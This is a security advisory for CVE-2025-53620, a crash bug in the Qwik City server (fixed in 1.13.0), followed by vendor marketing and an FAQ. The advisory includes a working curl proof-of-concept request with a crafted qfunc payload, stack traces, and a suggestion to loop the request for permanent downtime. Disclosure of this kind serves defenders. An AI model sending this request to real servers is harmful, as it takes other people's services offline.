Summary
Possibility to craft a request that will crash the Qwik Server in the default configuration.
Details
When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit.
PoC
- Setup a Qwik Project
pnpm create qwik@latest - Start the Qwik Server using
pnpm run preview - Execute the following curl command to crash the instance
curl --location 'http://localhost:4173/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'
Here the qfunc query parameter, X-Qrl header and payload need to have the same qrl.
The Qwik Server will then crash with the message
qrl s_PPXYallGsCE failed to load Error: Dynamic require of "_.js" is not supported
at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)
at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)
node:internal/process/promises:289
triggerUncaughtException(err, true /* fromPromise */);
^
Error: Dynamic require of "_.js" is not supported
at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)
at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)
Node.js v21.7.2
The same can also be repeated running Qwik in production using express.
- Setup a Qwik Project
pnpm create qwik@latest - Install the express middleware
pnpm run qwik add express - Build the qwik app using
pnpm run build - Start the server using
pnpm run serve - Execute the following curl command to crash the instance
curl --location 'http://localhost:3000/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'
Impact
Any Qwik Server instance running the default configuration can be crashed. Using a simple loop to send this HTTP request will cause permanent down time of the service as it takes a few seconds for an instance to restart.
There is also the issue that this can happen without a malicious attacker.
When a Qwik Application is deployed through a CDN and an old instance is still loaded on some Client, like through an inactive Tab. Once that user returns to the old Version and performs an action that runs a removed qfunc the server will crash.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2025-53620? CVE-2025-53620 is a critical-severity security vulnerability in @builder.io/qwik-city (npm), affecting versions < 1.13.0. It is fixed in 1.13.0.
- Which versions of @builder.io/qwik-city are affected by CVE-2025-53620? @builder.io/qwik-city (npm) versions < 1.13.0 is affected.
- Is there a fix for CVE-2025-53620? Yes. CVE-2025-53620 is fixed in 1.13.0. Upgrade to this version or later.
- Is CVE-2025-53620 exploitable, and should I be worried? Whether CVE-2025-53620 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2025-53620 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2025-53620? Upgrade
@builder.io/qwik-cityto 1.13.0 or later.